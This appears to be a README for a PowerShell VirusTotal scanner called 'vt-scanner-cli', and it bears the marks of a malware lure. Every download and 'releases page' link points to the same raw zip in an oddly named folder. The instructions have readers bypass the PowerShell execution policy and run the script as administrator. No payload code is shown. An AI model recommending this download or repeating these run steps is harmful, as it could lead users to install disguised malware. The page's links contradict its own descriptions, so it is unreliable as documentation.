vt-scanner-cli is a command-line tool that helps you check files, folders, and websites for viruses using VirusTotal’s API version 3. It runs on Windows PowerShell version 5.1 and above. There is also a Python version that works on Windows, macOS, and Linux if you want to use it on other systems.
This tool is designed to be simple to use even if you are not familiar with programming. You can analyze any file or URL quickly to see if it contains malware or threats. It uses the official VirusTotal API, which checks data across many antivirus engines.
- Scan individual files for viruses and malware.
- Scan whole folders and all files inside them.
- Analyze URLs to check if they lead to dangerous websites.
- Show detailed results with the number of detections.
- Work in PowerShell without extra programs to install.
- Support the latest VirusTotal API version 3.
- Run on Windows with PowerShell 5.1 or later.
This makes it a useful tool if you want to check suspicious data before opening it.
- Windows 7 or later.
- PowerShell version 5.1 or higher. (Most modern Windows versions have this by default.)
- Internet connection to send files or URLs to VirusTotal.
- An API key from VirusTotal (free to get from their website).
- About 100 MB free disk space for temporary files during scanning.
You do not need to install other software. vt-scanner-cli works right out of the box in PowerShell.
-
Go to the releases page to download the latest version:
-
Download the latest release suitable for Windows. It usually comes as a zip file or directly as a script file.
-
Extract the downloaded zip file if needed.
-
Open Windows PowerShell. You can do this by typing
PowerShellin the Start menu and pressing Enter. -
Navigate to the folder where you saved the files. Use the command:
cd C:\Path\To\Folder
-
Before running the tool, you need to set your VirusTotal API key. To get your key:
- Visit the VirusTotal website.
- Create a free account.
- Go to your profile and find the API key.
-
Set the API key in your PowerShell session by running:
$env:VT_API_KEY="your_api_key_here"
-
Now you are ready to run the scanner.
To get vt-scanner-cli:
-
Visit this page to download:
https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip
-
Look for the latest release version labeled with the date or version number.
-
Download the file named like
vt-scanner-cli.ps1(PowerShell script) or a zipped folder containing the script. -
If you download a zip folder, right-click it and choose “Extract All” to unzip.
-
Leave the files in a folder easy to find, like your Desktop or Documents.
-
Open PowerShell and change to the folder where you saved the files.
Here are the basic commands you will use in PowerShell.
To scan one file, run:
.\vt-scanner-cli.ps1 -File "C:\Path\To\Your\File.exe"Replace "C:\Path\To\Your\File.exe" with the actual file path.
The scanner will analyze the file using the VirusTotal API and display results showing if any antivirus engines found a problem.
To scan all files inside a folder:
.\vt-scanner-cli.ps1 -Folder "C:\Path\To\Your\Folder"The tool will check all files in the folder and give a summary of the results.
To check a website or link:
.\vt-scanner-cli.ps1 -Url "https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip"This will test the URL against VirusTotal’s database to see if it is safe.
-File <path>: Scan a specific file.-Folder <path>: Scan all files in the folder.-Url <url>: Scan a URL.-Help: Show help information.
Example:
.\vt-scanner-cli.ps1 -Help- The tool uses your VirusTotal API key. Be careful not to share it publicly.
- Files are uploaded temporarily to VirusTotal for scanning; they do not stay on your computer.
- The script shows how many antivirus engines detected threats.
- Large files may take longer to scan.
- There is a limit on API calls per minute with a free VirusTotal key. Use the tool accordingly.
- Keep your PowerShell updated to version 5.1 or higher.
- Always scan files downloaded from unknown sources.
- Use the folder scan for checking multiple files quickly.
- Run PowerShell as administrator if you have permission issues.
- Check the VirusTotal website for your API key status and limits.
If you see errors when running the script:
-
Make sure you are running PowerShell 5.1 or above.
-
Confirm your API key is correct and set with
$env:VT_API_KEY. -
Check your internet connection.
-
Make sure the file or folder path is correct, with quotes if it has spaces.
-
If you get security warnings, set the execution policy temporarily by running:
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
This will allow the script to run just for the current PowerShell session.
The tool is open source and maintained on GitHub. Updates and new releases can be found on the releases page:
https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip
Check here regularly to get the latest fixes and improvements.
vt-scanner-cli is provided under an open-source license. Refer to the LICENSE file in the repository for details on how you may use or share the code.